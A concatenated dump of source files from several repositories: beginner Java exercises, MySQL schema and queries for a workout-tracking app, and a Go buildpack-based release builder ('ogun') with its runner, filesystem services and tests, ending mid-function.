hm.remove(1); // System.out.println(hm); // // for(Integer i : hm.keySet()) { //for each will print elementts of hashmap. // System.out.println(hm.get(i)); // } // LinkedList<String> names = new LinkedList<String>(); // // names.add("Serkan"); // names.add("Ama"); // names.add("Ashleigh"); // // names.addFirst("Ismail"); // names.addLast("Hatice"); // // // names.sort(null); // // System.out.println(names); // // names.remove("Ashleigh"); // names.remove(); // remove first one // // names.removeFirst(); // names.removeLast(); // // // // System.out.println(names.contains("Serkan")); // System.out.println(names); // // // // // Integer[] a = {1,2,5,1,7,0,9}; // // ArrayList<Integer> numbers = new ArrayList<Integer>(); // // // numbers.add(1); // numbers.add(2); // numbers.add(3); // numbers.add(4); // numbers.add(5); // numbers.add(6); // System.out.println(numbers); // numbers.set(0, 100); // System.out.println(numbers); // for(Integer o:numbers) // System.out.println(o); // this store in stack // int [] arr = new int[5]; // this store in heep // arr[0] = 5; // System.out.println(arr); } } <file_sep>package methods; public class Main { public static void main(String[] args) { ArithmeticalOperation arithmeticalOperation = new ArithmeticalOperation(); System.out.println(arithmeticalOperation.sum(4,8,8)); } } <file_sep>package abstractDemoi; public class OracleDataBAseManger extends BaseDataBaseManager { @Override public void getData() { System.out.println("data has been transformed from Oracle"); } } <file_sep>package classExercise; public class CustomerManager { public int Add( int num, int num1) { return num+num1; } public int Subtraction(int num, int num1) { return num- num1; } public int Multiple(int num, int num1) { return num * num1; } public int Divide(int num, int num1) { return num / num1; } }<file_sep>package mod3Week1Day2AfternoonLab; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; public class Mod3Week1Day2AfternoonLab { public static void main(String[] args) { // 1- What is an efficient way to create an array for first 50 integers? int[] testArray = new int[51]; for (int i = 0; i < testArray.length; i++) { testArray[i]=i; System.out.println(testArray[i]); } // 2- You've been tasked to do this week's grocery shopping. As you arrive at // Times Supermarket, Kanye pings you to get a bottle of Hendricks gin. // Add this to the existing shoppingList.*/ // shoppingList = [ "cool ranch doritos", "kings hawaiian sweet bread", "peanut butter oreos", // "fruit loops cereal" ]; ArrayList<String> shoppingList = new ArrayList<String>(); shoppingList.add("cool ranch doritos"); shoppingList.add("kings hawaiian sweet bread"); shoppingList.add("peanut butter oreos"); shoppingList.add("fruit loops cereal"); System.out.println("Existing Shopping List "+shoppingList); shoppingList.add("Hendricks gin"); System.out.println("New Shopping List "+shoppingList); //3 - Use the force, or in this case the reverse method to help Yoda make some // sense with his motivational talk to the young Jedi interns.*/ // yoda = ["try", "no", "is", "there", "not", "do", "or", "do"]; ArrayList<String> yoda = new ArrayList<String>(); yoda.add("try"); yoda.add("no"); yoda.add("is"); yoda.add("there"); yoda.add("not"); yoda.add("do"); yoda.add("or"); yoda.add("do"); System.out.println(yoda); Collections.reverse(yoda); System.out.println(yoda); // 4 People been lining up for hours to get the newest iphone release. // Help manage the unruly crowd of privileged customers by serving them one at a // time and assigning it to a variable named `nowServing`. Print this new variable as well as the waitList. // waitList = [ "Chance the Rapper", "Khalid", "Tay-Tay", "<NAME>", "<NAME>" ]; HashMap<String, Integer> waitList = new HashMap<String, Integer>(); waitList.put("Chance the Rapper",1); waitList.put("Khalid",2); waitList.put("Tay-Tay",3); waitList.put("<NAME>",4); waitList.put("<NAME>",5); System.out.println(waitList); } } <file_sep>package classWithAttribus; public class Main { public static void main(String[] args) { Product product = new Product(); product.name="Laptop"; System.out.println(product.name); product.setId(1); product.description="macPro"; product.price=50.000; product.stockAmount=3; System.out.println(product.getKod()); ProductManager productManager = new ProductManager(); productManager.Add(product); } } <file_sep> import adapters.GoogleAuthorizationAdapter; import business.abstracts.UserService; import business.concretes.UserAuthorizationManager; import business.concretes.UserManager; import dataAccess.concretes.HibernateUserDao; import entities.concretes.User; public class Main { public static void main(String[] args) { User user1 = new User(); user1.setFirstName("Serkan"); user1.setLastName("Sonmez"); user1.setPassword("<PASSWORD>"); user1.setEmail("<EMAIL>"); User user2 = new User(); user2.setFirstName("S"); user2.setLastName("Sonmez"); user2.setPassword("0d"); user2.setEmail("serkangmail.com"); UserService userManager = new UserManager(new UserAuthorizationManager(),new HibernateUserDao()); System.out.println("========================================="); userManager.login("<EMAIL>", "8<PASSWORD>"); userManager.delete(user2); userManager.update(user2); userManager.register(user2); UserService userManager1 = new UserManager(new UserAuthorizationManager(),new HibernateUserDao()); System.out.println("========================================="); GoogleAuthorizationAdapter googleAuthorizationAdapter=new GoogleAuthorizationAdapter("37373", 1); googleAuthorizationAdapter.validation("<EMAIL>"); UserService userManager3=new UserManager(googleAuthorizationAdapter,new HibernateUserDao()); userManager3.delete(user2); } } <file_sep>package gameCompany; public class CustomerManager implements ICustomerService{ ICustomerCheckService customerCheckService; public CustomerManager(ICustomerCheckService customerCheckService) { super(); this.customerCheckService=customerCheckService; } @Override public void add(Customer customer) { if(this.customerCheckService.checkIfrealPerson(customer)) { System.out.println("New Customer Added " + customer.getFirstName() + " " + customer.getLastName()); }else{ System.out.println("Invalid entry"); } } @Override public void delete(Customer customer) { System.out.println("Customer Deleted : " + customer.getFirstName() + " "+ customer.getLastName()); } @Override public void update(Customer customer) { System.out.println("Customer info has been updated : " + customer.getFirstName() + " "+ customer.getLastName()); } } <file_sep>package tryCatchExercise; import java.util.InputMismatchException; import java.util.Scanner; public class Catch { public static void main(String[] args) { // try { // int [] a = {4,5,6}; // System.out.println(a[3]); // // }catch(Exception a) { // System.out.println("an exception "); // } System.out.println("whats ur fav num "); Scanner scan = new Scanner (System.in); scan.close(); // int num = scan.nextInt(); // System.out.println(num); try { int number = scan.nextInt(); System.out.println(number); }catch(InputMismatchException e ) { System.out.println("this is the input mismatch"); }catch(Exception e) { System.out.println(e); }finally { System.out.println("this is finally statement"); } } } <file_sep>insert into todo (id, username,description,target_date,is_done) values(1001, 'serkan','learn java', sysdate(), false) insert into todo (id, username,description,target_date,is_done) values(1002, 'ahmet','learn java', sysdate(), false) insert into todo (id, username,description,target_date,is_done) values(1003, 'ehmet','learn java', sysdate(), false)<file_sep>package abstractClass; public class WomanPlayerCalculator extends BaseCalculator{ @Override public void calculate () { System.out.println("your score : 95"); } } <file_sep>package coffeeShop; public interface ICustmorService { void save(Customer customer); } <file_sep>package com.homeworkmod3; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.client.RestTemplate; import com.homeworkmod3.model.Movies; @SpringBootApplication public class Mod3Week2Application { public static void main(String[] args) { SpringApplication.run(Mod3Week2Application.class, args); } } <file_sep>package gameCompany; public class Main { public static void main(String[] args) { Product product = new Product(); product.setName("FiFa"); product.setPrice(100); Customer customer = new Customer(); customer.setNationalityNumber("358263623"); customer.setFirstName("Serkan"); customer.setLastName("Sönmez"); customer.setDateOfBirth(1983); Campaign campaign =new Campaign(); campaign.setName("Buy one, get one FREE"); CustomerManager customerManager = new CustomerManager(new MernisServiceAdaptor()); customerManager.delete(customer); customerManager.add(customer); ProductManager productManager = new ProductManager(); productManager.sell(customer, product, campaign);; } } <file_sep>package abstractClass; public abstract class BaseCalculator { public abstract void calculate (); public void gameOver() { System.out.println("Game Over!"); } } <file_sep>package abstractDemoi; public class SqlDataMananger extends BaseDataBaseManager{ @Override public void getData() { System.out.println("data has been transformed from Sql"); } } <file_sep>package methods; public class JavaMethods { public static void main(String[] args) { boolean gameOver = true; int score= 800; int levelCompleted = 5; int bonus= 100; int highScore = calculateScore(gameOver,score,levelCompleted,bonus); System.out.println(" your final score was " + highScore); calculateScore(gameOver, score, levelCompleted, bonus); score =10000; levelCompleted=8; bonus =200; int position = calculateHighScorePosition(1500); displayHighScorePosition("Serkan", position); position = calculateHighScorePosition(900); displayHighScorePosition("Ismail", position); position = calculateHighScorePosition(500); displayHighScorePosition("Hatice", position); position = calculateHighScorePosition(1000); displayHighScorePosition("Ama", position); } public static int calculateScore(boolean gameOver, int score, int levelCompleted, int bonus ) { if (gameOver) { int finalScore =score +(levelCompleted * bonus); finalScore += 2000; System.out.println("your final score was " + finalScore); return finalScore; }else { return -1;// -1 mean invalid value } } // ********************* public static void displayHighScorePosition (String playerName, int position) { System.out.println( playerName +" managed to get into the position " + position + " on the high score table" ); } public static int calculateHighScorePosition(int playerScore) { if(playerScore>=1000) { return 1; }else if( 500<=playerScore) { return 2; }else if(100 <=playerScore) { return 3; }else return 4; } } //alternative way of method return // int playerPosition= 4; // // if(playerScore>= 1000) { // playerPosition=1; // }else if (playerScore >=500) { // playerPosition=2; // }else if (playerScore >=100) { // playerPosition =3; // } //return playerPosition; <file_sep>package gameCompany; import java.rmi.RemoteException; import tr.gov.nvi.tckimlik.WS.KPSPublicSoapProxy; public class MernisServiceAdaptor implements ICustomerCheckService { @Override public boolean checkIfrealPerson(Customer customer) { KPSPublicSoapProxy buyer = new KPSPublicSoapProxy(); boolean result = true; try { result = buyer.TCKimlikNoDogrula( Long.parseLong( customer.getNationalityNumber()), customer.getFirstName().toUpperCase(), customer.getLastName().toUpperCase(), customer.getDateOfBirth() ); }catch(RemoteException e) { e.printStackTrace(); } return result; } }
0fe4c9efe2da44c85a79db167adaee3567c7956a
[ "Java", "SQL" ]
36
Java
serkansonmez06/JavaExercise
622c38454bae0653b087c2d6f78343170ce2c322
1105ceced2e2e3c359085af57b0ceca5e239460a
refs/heads/master
<repo_name>SimonJHunter/PhysR<file_sep>/mysql/SELECT_Workout.sql SELECT workouts.Name, clients.Firstname, clients.Lastname, exercises.Name, exercises.Repetitions, exercises.Sets FROM physr.workouts INNER JOIN physr.clients ON physr.workouts.Client_ID = physr.clients.ID INNER JOIN physr.exercises ON physr.workouts.Excercise_ID = physr.exercises.ID WHERE clients.ID = 1 <file_sep>/src/com/physr/exercises/ExerciseBase.java package com.physr.exercises; public abstract class ExerciseBase { private int ID; private String Name; private String Description; private int Reps; public ExerciseBase() { } public ExerciseBase(int ID, String name, String description, int reps) { this.ID = ID; Name = name; Description = description; Reps = reps; } public int getID() {return ID;} public void setID(int ID) {this.ID = ID;} public String getName() {return Name;} public void setName(String name) {Name = name;} public String getDescription() {return Description;} public void setDescription(String description) {Description = description;} public int getReps() {return Reps;} public void setReps(int reps) {Reps = reps;} public abstract void display(); } <file_sep>/mysql/DATABASE_PhysR.sql -- MySQL Workbench Forward Engineering SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0; SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0; SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='TRADITIONAL,ALLOW_INVALID_DATES'; -- ----------------------------------------------------- -- Schema mydb -- ----------------------------------------------------- -- ----------------------------------------------------- -- Schema physr -- ----------------------------------------------------- -- ----------------------------------------------------- -- Schema physr -- ----------------------------------------------------- CREATE SCHEMA IF NOT EXISTS `physr` DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci ; USE `physr` ; -- ----------------------------------------------------- -- Table `physr`.`clients` -- ----------------------------------------------------- CREATE TABLE IF NOT EXISTS `physr`.`clients` ( `ID` INT(11) NOT NULL AUTO_INCREMENT, `Firstname` VARCHAR(45) NOT NULL, `Lastname` VARCHAR(45) NOT NULL, PRIMARY KEY (`ID`)) ENGINE = InnoDB AUTO_INCREMENT = 3 DEFAULT CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci; -- ----------------------------------------------------- -- Table `physr`.`exercises` -- ----------------------------------------------------- CREATE TABLE IF NOT EXISTS `physr`.`exercises` ( `ID` INT(11) NOT NULL AUTO_INCREMENT, `Name` VARCHAR(45) NOT NULL, `Description` VARCHAR(45) NOT NULL, `Repetitions` INT(11) NOT NULL DEFAULT '3', `Sets` INT(11) NOT NULL DEFAULT '10', PRIMARY KEY (`ID`)) ENGINE = InnoDB AUTO_INCREMENT = 3 DEFAULT CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci; -- ----------------------------------------------------- -- Table `physr`.`workouts` -- ----------------------------------------------------- CREATE TABLE IF NOT EXISTS `physr`.`workouts` ( `ID` INT(11) NOT NULL AUTO_INCREMENT, `Name` VARCHAR(45) NULL DEFAULT NULL, `Client_ID` INT(11) NULL DEFAULT NULL, `Excercise_ID` INT(11) NULL DEFAULT NULL, `AdditionalText` VARCHAR(400) NULL DEFAULT NULL, PRIMARY KEY (`ID`), INDEX `workout_client_FK_idx` (`Client_ID` ASC), INDEX `workout_exercise_FK_idx` (`Excercise_ID` ASC)) ENGINE = InnoDB AUTO_INCREMENT = 4 DEFAULT CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci; SET SQL_MODE=@OLD_SQL_MODE; SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS; SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS; <file_sep>/mysql/PhysR.sql SELECT * FROM physr.workouts;
3ef1e03fbfbecdee75a00507502bebc1308b64cc
[ "Java", "SQL" ]
4
SQL
SimonJHunter/PhysR
9234408ccf4085d048cd85623d0570a3c27db209
4880aad4279c831c5e37ba3ec28698436261b84e
refs/heads/master
<repo_name>Fangtsailo/D3-project<file_sep>/src/router/index.js import Vue from 'vue' import Router from 'vue-router' import MainPage from '@/views/MainPage' import sections from './sections/exercises' import demos from './sections/demos' Vue.use(Router) export default new Router({ routes: [{ path: '/', name: 'Introduction', component: () => import ('@/views/introduction') }, { path: '/overview', name: 'Overview', component: () => import ('@/views/overview') }, ...sections, // { // path: '/conclusion', // name: 'Conclusion', // component: () => // import ('@/views/conclusion') // }, { path: '/resources', name: 'Resources', component: () => import ('@/views/resources'), redirect: { name: 'Brewer Colors' }, children: [{ name: 'Brewer Colors', path: 'brewer', component: () => import ('@/views/resources/BrewerColors') }, { name: 'Xenographics', path: 'xenographics', component: () => import ('@/views/resources/xenographics') }, { name: 'Semiology of Graphics', path: 'semiology-of-graphics', component: () => import ('@/views/resources/semiology') }, { name: 'UX Principles as Algorithms', path: 'ux-principles', component: () => import ('@/views/resources/uxprinciples') }, ] }, demos, { path: '/chart', component: () => import('@/views/ChartView') }, { path: '*', redirect: '/' } ] }) <file_sep>/src/router/sections/demos.js export default { path: '/demos', name: 'Demos', component: () => import ('@/views/examples'), children: [ { path: 'parallelcoords', name: 'Parallel Coords', component: () => import ('@/views/examples/parallelcoords') }, { path: 'scales', name: 'Scales', component: () => import ('@/views/examples/scaling') }, { path: 'axis', name: 'Axis', component: () => import('@/views/examples/axis') }, { path: 'versor', name: 'Versor Dragging', component: () => import ('@/views/examples/versor-dragging') }, { path: 'cluster-bubble', name: 'Clustered Bubble Charts', component: () => import ('@/views/examples/clustered-bubble-charts') }, { path: 'hierarchy', name: 'Visualizing Hierarchies', component: () => import ('@/views/examples/hierarchy'), children: [{ path: 'cluster', name: 'Clusters', component: () => import ('@/views/examples/hierarchy/cluster') }, { path: 'tree', name: 'Tree Layout', component: () => import ('@/views/examples/hierarchy/tree') }, { path: 'treemap', name: 'Treemap Layout', component: () => import ('@/views/examples/hierarchy/tree-map') }, { path: 'partition', name: 'Partition Layout', component: () => import ('@/views/examples/hierarchy/partitions') }, { path: 'pack', name: 'Circle Packing', component: () => import ('@/views/examples/hierarchy/circle-packing') }, // { // path: 'edge-bundling', // name: 'Edge Bundling', // component: () => // import ('@/views/examples/hierarchy/edge-bundling') // }, // { // path: 'email-threading', // name: 'Email Threading', // component: () => // import ('@/views/examples/hierarchy/threads') // } ] } ] } <file_sep>/src/main.js // The Vue build version to load with the `import` command // (runtime-only or standalone) has been set in webpack.base.conf with an alias. import 'animate.css' import 'normalize.css' import chroma from 'chroma-js' import Vue from 'vue' import Vuebar from 'vuebar' import App from './App' import router from './router' import Axios from 'axios' import VueAxios from 'vue-axios' import _ from 'lodash' window._ = _ const debug = process.env.NODE_ENV !== 'production' Vue.config.productionTip = debug Vue.config.performance = debug Vue.use(VueAxios, Axios) // Add custom scrollbar so it doesn't make things look ewwie Vue.use(Vuebar) // These are globally added to ALL components, beware Vue.mixin({ data() { return { colors: chroma.scale(chroma.brewer.Set3).colors, debug } } }) if (debug) { Vue.mixin({ methods: { openInEditor() { return Axios.get('__open-in-editor', { params: { file: this.$options.__file } }) } } }) } /* eslint-disable no-new */ // you can see what new Vue({ el: '#app', router, components: { App }, template: '<App/>' }) <file_sep>/src/views/examples/parallelcoords/readme.md # Parallel Coords **Parallel coordinates** are a common way of visualizing [high‑dimensional](/wiki/High‑dimensional 'High‑dimensional') [geometry](/wiki/Geometry 'Geometry') and analyzing [multivariate data](/wiki/Multivariate_data 'Multivariate data'). ## Use Case Parallel Coords allow for `filtering` of all dimensions, and matching them all against each other. This gives the viewer a flexible way to navigate the data. ## Interaction The user can interact in two ways _Brushing Dimensions_ Each dimension column has a brush, where the user can drag a rectangle on the y‑axis to filter only items in the data that the brush covers. _Dimension Ordering_ The dimension columns can also be re‑ordered. The user can drag the title of each dimension column, swapping placements with other columns accordingly. ## Data Structure Considering that the data needs to be a collection of things with the same dimension properties, by default the structure it looks for is a json-type format. A simple example can be something such as ```json ```
a458d189d4fd3f1e8c85dc5fc56277695384e55d
[ "JavaScript", "Markdown" ]
4
JavaScript
Fangtsailo/D3-project
0720b9589ddc342e0aac6e5a2093b3053fbc699f
9499793ab8da0d12f3c9e4f30c968921280bf9d2
refs/heads/master
<repo_name>ess/ogun<file_sep>/mock/runner.go package mock import ( "fmt" "strings" "github.com/ess/ogun/pkg/ogun" ) type Runner struct { goodPrefixes []string } func NewRunner() *Runner { return &Runner{} } func (runner *Runner) Execute(command string, vars []ogun.Variable) ([]byte, error) { if strings.HasSuffix(command, " env") { env := make([]string, 0) for _, variable := range vars { env = append(env, string(variable)) } return []byte(strings.Join(env, "\n")), nil } return []byte(fmt.Sprintf("RUNNER: %s", command)), runner.generateError(command) } func (runner *Runner) Add(prefix string) { runner.goodPrefixes = append(runner.goodPrefixes, prefix) } func (runner *Runner) Remove(command string) { index := runner.find(command) if index >= 0 { runner.goodPrefixes = append(runner.goodPrefixes[:index], runner.goodPrefixes[index+1:]...) } } func (runner *Runner) Reset() { runner.goodPrefixes = make([]string, 0) } func (runner *Runner) generateError(command string) error { if runner.found(command) { return nil } return fmt.Errorf("command failed") } func (runner *Runner) find(command string) int { for index, candidate := range runner.goodPrefixes { if strings.HasPrefix(command, candidate) { return index } } return -1 } func (runner *Runner) found(command string) bool { if runner.find(command) >= 0 { return true } return false } <file_sep>/pkg/ogun/os/os.go package os import ( "github.com/ess/ogun/pkg/ogun" ) func varsToStrings(vars []ogun.Variable) []string { output := make([]string, 0) for _, variable := range vars { output = append(output, string(variable)) } return output } <file_sep>/pkg/ogun/logger.go package ogun import ( "io" ) type Logger interface { Info(string, string) Error(string, string) AddOutput(io.Writer) Writers() []io.Writer } <file_sep>/pkg/ogun/release.go package ogun type Release struct { Name string Application Application Buildpack Buildpack } type ReleaseService interface { Create(string, Application) (Release, error) Build(Release, Buildpack) error Clean(Release) error Package(Release) error Delete(Release) error } <file_sep>/cmd/ogun/workflows/building_an_app.go package workflows import ( "fmt" "time" "github.com/ess/ogun/pkg/ogun" ) type BuildingAnApp struct { ApplicationName string ReleaseName string Apps ogun.ApplicationService Packs ogun.BuildpackService Releases ogun.ReleaseService Logger ogun.Logger } func (workflow *BuildingAnApp) perform() error { context := "main" workflow.Logger.Info(context, "Starting ...") app, err := workflow.loadApplication() if err != nil { return fatality() } pack, err := workflow.loadBuildpack(app) if err != nil { return fatality() } release, err := workflow.createRelease(app) if err != nil { return fatality() } workflow.Logger.Info( context, fmt.Sprintf( "Building release %s for %s (%s)", release.Name, app.Name, pack.Name, ), ) err = workflow.Releases.Build(release, pack) if err != nil { return fatality() } err = workflow.Releases.Package(release) if err != nil { return fatality() } return nil } func (workflow *BuildingAnApp) loadApplication() (ogun.Application, error) { app, err := workflow.Apps.Get(workflow.ApplicationName) if err != nil { workflow.Logger.Error( "load-app", "Could not find application "+workflow.ApplicationName, ) } return app, err } func (workflow *BuildingAnApp) loadBuildpack(app ogun.Application) (ogun.Buildpack, error) { pack, err := workflow.Packs.Detect(app) if err != nil { workflow.Logger.Error( "load-buildpack", "Could not detect buildpack for "+app.Name, ) } return pack, err } func (workflow *BuildingAnApp) createRelease(app ogun.Application) (ogun.Release, error) { release, err := workflow.Releases.Create(workflow.ReleaseName, app) if err != nil { fmt.Println("create error:", err.Error()) workflow.Logger.Error( "create-release", "Could not create release "+release.Name+" for "+app.Name, ) return release, err } return release, nil } func GenerateBuildNumber() string { now := time.Now() return fmt.Sprintf( "%d%02d%02d%02d%02d%02d", now.Year(), now.Month(), now.Day(), now.Hour(), now.Minute(), now.Second(), ) } <file_sep>/pkg/ogun/buildpack.go package ogun type Buildpack struct { Name string Location string } type BuildpackService interface { Detect(Application) (Buildpack, error) } <file_sep>/pkg/ogun/fs/buildpack_service_test.go package fs import ( //"fmt" "testing" "github.com/ess/ogun/pkg/ogun" ) func setupDetect() { logger.Reset() setupFs() stubApplication() } func TestBuildpackService_Detect(t *testing.T) { service := NewBuildpackService(logger) runner.Reset() service.runner = runner t.Run("when there's a custom buildpack", func(t *testing.T) { setupDetect() pack := ogun.Buildpack{Name: "custom", Location: applicationPath(app) + "/shared/cached_copy/.ogun/buildpack"} err := stubPack(pack) if err != nil { t.Errorf("couldn't stub the pack") } result, err := service.Detect(app) t.Run("it returns the app's custom buildpack", func(t *testing.T) { if result.Location != pack.Location { t.Errorf("expected %s, got %s", pack.Location, result.Location) } }) t.Run("it returns no error", func(t *testing.T) { if err != nil { t.Errorf("expected no error, got %s", err) } }) }) t.Run("when there's no custom buildpack", func(t *testing.T) { t.Run("but there are no buildpacks installed", func(t *testing.T) { setupDetect() _, err := service.Detect(app) t.Run("it returns an error", func(t *testing.T) { if err == nil { t.Errorf("expected an error") } }) }) t.Run("and there are buildpacks installed", func(t *testing.T) { pack1 := ogun.Buildpack{Name: "buildpack-pack1", Location: "/engineyard/buildpacks/buildpack-pack1"} pack2 := ogun.Buildpack{Name: "buildpack-pack2", Location: "/engineyard/buildpacks/buildpack-pack2"} setupDetect() err := stubPack(pack1) if err != nil { t.Errorf("could not stub pack1") } err = stubPack(pack2) if err != nil { t.Errorf("could not stub pack2") } t.Run("but none of them can build the app", func(t *testing.T) { runner.Reset() _, derr := service.Detect(app) t.Run("it returns an error", func(t *testing.T) { if derr == nil { t.Errorf("expected an error") } }) }) t.Run("but more than one can build the app", func(t *testing.T) { runner.Reset() runner.Add(pack1.Location + "/bin/detect") runner.Add(pack2.Location + "/bin/detect") _, derr := service.Detect(app) t.Run("it returns an error", func(t *testing.T) { if derr == nil { t.Errorf("expected an error") } }) }) t.Run("and exactly one can build the app", func(t *testing.T) { runner.Reset() runner.Add(pack1.Location + "/bin/detect") result, derr := service.Detect(app) t.Run("it returns the correct buildpack", func(t *testing.T) { if result.Location != pack1.Location { t.Errorf("expected %s, got %s", pack1.Location, result.Location) } }) t.Run("it returns no error", func(t *testing.T) { if derr != nil { t.Errorf("expected no error, got %s", derr) } }) }) }) }) } <file_sep>/cmd/ogun/main.go package main import ( "os" "github.com/ess/ogun/cmd/ogun/cmd" ) func main() { if cmd.Execute() != nil { os.Exit(1) } } <file_sep>/pkg/ogun/ogun.go // Package ogun provides the application deployment domain package ogun <file_sep>/cmd/ogun/cmd/build.go package cmd import ( "fmt" "github.com/spf13/cobra" "github.com/ess/ogun/pkg/ogun/fs" "github.com/ess/ogun/cmd/ogun/workflows" ) // 2018 08 29 22 43 47 var buildCmd = &cobra.Command{ Use: "build <application name>", Short: "Build a portable application package", Long: `Build a portable application package Given an application name, build the application and generate an all-inclusive tarball for distribution.`, PreRunE: func(cmd *cobra.Command, args []string) error { if len(args) != 1 { return fmt.Errorf("no application given") } return nil }, RunE: func(cmd *cobra.Command, args []string) error { release := workflows.GenerateBuildNumber() logfile, err := fs.CreateBuildLog(args[0], release) if err != nil { return fmt.Errorf("could not open log") } defer logfile.Close() Logger.AddOutput(logfile) return workflows.Perform( &workflows.BuildingAnApp{ ApplicationName: args[0], ReleaseName: release, Apps: fs.NewApplicationService(Logger), Packs: fs.NewBuildpackService(Logger), Releases: fs.NewReleaseService(Logger), Logger: Logger, }, ) }, SilenceUsage: true, SilenceErrors: true, } func init() { RootCmd.AddCommand(buildCmd) } <file_sep>/pkg/ogun/fs/locations.go package fs import ( "github.com/ess/ogun/pkg/ogun" ) func applicationPath(app ogun.Application) string { return "/data/" + app.Name } func configPath(app ogun.Application) string { return applicationPath(app) + "/shared/config" } func cachePath(app ogun.Application) string { return applicationPath(app) + "/shared/build_cache" } func buildpackRoot() string { return "/engineyard/buildpacks" } func buildpackPath(pack ogun.Buildpack) string { return buildpackRoot() + "/" + pack.Name } func releasePath(release ogun.Release) string { return applicationPath(release.Application) + "/builds/" + release.Name } <file_sep>/cmd/ogun/workflows/workflows.go package workflows import ( "fmt" ) type Workflow interface { perform() error } func Perform(wf Workflow) error { return wf.perform() } func fatality() error { return fmt.Errorf("Cannot continue") } <file_sep>/pkg/ogun/variable.go package ogun type Variable string type VariableService interface { All(Application) []Variable } <file_sep>/pkg/ogun/fs/buildpack_service.go package fs import ( "fmt" "github.com/ess/ogun/pkg/ogun" "github.com/ess/ogun/pkg/ogun/os" ) type BuildpackService struct { runner ogun.Runner logger ogun.Logger } func NewBuildpackService(logger ogun.Logger) BuildpackService { return BuildpackService{logger: logger, runner: os.NewRunner()} } func (service BuildpackService) Detect(application ogun.Application) (ogun.Buildpack, error) { context := "buildpack-detect" custom, customErr := service.custom(application) if customErr == nil { return custom, nil } detected := make([]ogun.Buildpack, 0) for _, pack := range service.all() { err := service.detect(application, pack) if err == nil { service.logger.Info( context, pack.Name+" supports building this application", ) detected = append(detected, pack) } } if len(detected) < 1 { service.logger.Error( context, "Detected no buildpacks that can build "+application.Name, ) return ogun.Buildpack{}, fmt.Errorf("No buildpacks support this application") } if len(detected) > 1 { service.logger.Error( context, "Detected multiple buildpacks that can build "+application.Name, ) return ogun.Buildpack{}, fmt.Errorf("Multiple buildpacks support this application") } return detected[0], nil } func (service BuildpackService) validate(pack ogun.Buildpack) error { base := pack.Location detect := base + "/bin/detect" compile := base + "/bin/compile" for _, path := range []string{base, detect, compile} { if !FileExists(path) { return fmt.Errorf("%s does not exist", path) } } for _, path := range []string{detect, compile} { if !Executable(path) { return fmt.Errorf("%s is not executable", path) } } return nil } func (service BuildpackService) custom(application ogun.Application) (ogun.Buildpack, error) { context := "detect-custom" service.logger.Info(context, "Checking for a custom buildpack ...") location := applicationPath(application) + "/shared/cached-copy/.ogun/buildpack" pack := ogun.Buildpack{Name: "custom", Location: location} err := service.validate(pack) if err != nil { service.logger.Info(context, "Didn't find a valid custom buildpack") return pack, err } service.logger.Info(context, "Custom buildpack found!") return pack, nil } func (service BuildpackService) all() []ogun.Buildpack { buildpacks := make([]ogun.Buildpack, 0) root := buildpackRoot() if candidates, err := ReadDir(root); err == nil { for _, info := range candidates { name := Basename(info.Name()) buildpacks = append(buildpacks, ogun.Buildpack{Name: name, Location: root + "/" + name}) } } return buildpacks } func (service BuildpackService) detect(app ogun.Application, pack ogun.Buildpack) error { detectPath := buildpackPath(pack) + "/bin/detect" cacheRoot := applicationPath(app) + "/shared/cached-copy" _, err := service.runner.Execute(detectPath+" "+cacheRoot, nil) return err } <file_sep>/pkg/ogun/runner.go package ogun type Runner interface { Execute(string, []Variable) ([]byte, error) } <file_sep>/pkg/ogun/os/runner.go package os import ( "os/exec" "github.com/ess/ogun/pkg/ogun" ) type Runner struct{} var NewRunner = func() ogun.Runner { return &Runner{} } func (runner *Runner) Execute(command string, vars []ogun.Variable) ([]byte, error) { cmd := exec.Command("bash", "-c", command) if len(vars) > 0 { cmd.Env = varsToStrings(vars) } output, err := cmd.CombinedOutput() return output, err } <file_sep>/pkg/ogun/application.go package ogun type Application struct { Name string BaseDir string } func (app Application) String() string { return app.Name } type ApplicationService interface { Get(string) (Application, error) } <file_sep>/pkg/ogun/fs/application_service_test.go package fs import ( "testing" "github.com/brianvoe/gofakeit" "github.com/ess/testscope" "github.com/spf13/afero" ) func TestApplicationService_Get(t *testing.T) { testscope.SkipUnlessUnit(t) appBase := "/data" appName := gofakeit.Generate("????????????") service := ApplicationService{} t.Run("when the application does not exist", func(t *testing.T) { Root = afero.NewMemMapFs() _, getErr := service.Get(appName) t.Run("it returns an error", func(t *testing.T) { if getErr == nil { t.Errorf("expected an error") } }) }) t.Run("when the application exists", func(t *testing.T) { Root = afero.NewMemMapFs() err := CreateDir(appBase+"/"+appName, 0755) if err != nil { t.Errorf("eould not set up the app directory") } result, getErr := service.Get(appName) t.Run("it returns a populated Application", func(t *testing.T) { if result.Name != appName { t.Errorf("expected name '%s', got '%s'", appName, result.Name) } }) t.Run("it returns no error", func(t *testing.T) { if getErr != nil { t.Errorf("expected no error, got %s", getErr) } }) }) } <file_sep>/pkg/ogun/fs/fs.go // Package fs provides services for dealing with file systems package fs import ( "archive/tar" "compress/gzip" "fmt" "io" "os" "path/filepath" "strings" "github.com/spf13/afero" "github.com/ess/ogun/pkg/ogun" ) var Root = afero.NewOsFs() var CreateDir = func(path string, mode os.FileMode) error { if !FileExists(path) { err := Root.MkdirAll(path, mode) if err != nil { return err } } return nil } var FileExists = func(path string) bool { _, err := Root.Stat(path) if os.IsNotExist(err) { return false } return true } var DirectoryExists = func(path string) bool { if !FileExists(path) { return false } if !IsDir(path) { return false } return true } var IsDir = func(path string) bool { info, err := Root.Stat(path) if err != nil { return false } return info.IsDir() } func Walk(path string, walkFunc filepath.WalkFunc) error { return afero.Walk(Root, path, walkFunc) } func Copy(path string, targetPath string, mode os.FileMode) error { infile, err := Root.Open(path) if err != nil { return err } defer infile.Close() if FileExists(targetPath) { rmerr := Root.Remove(targetPath) if rmerr != nil { return rmerr } } 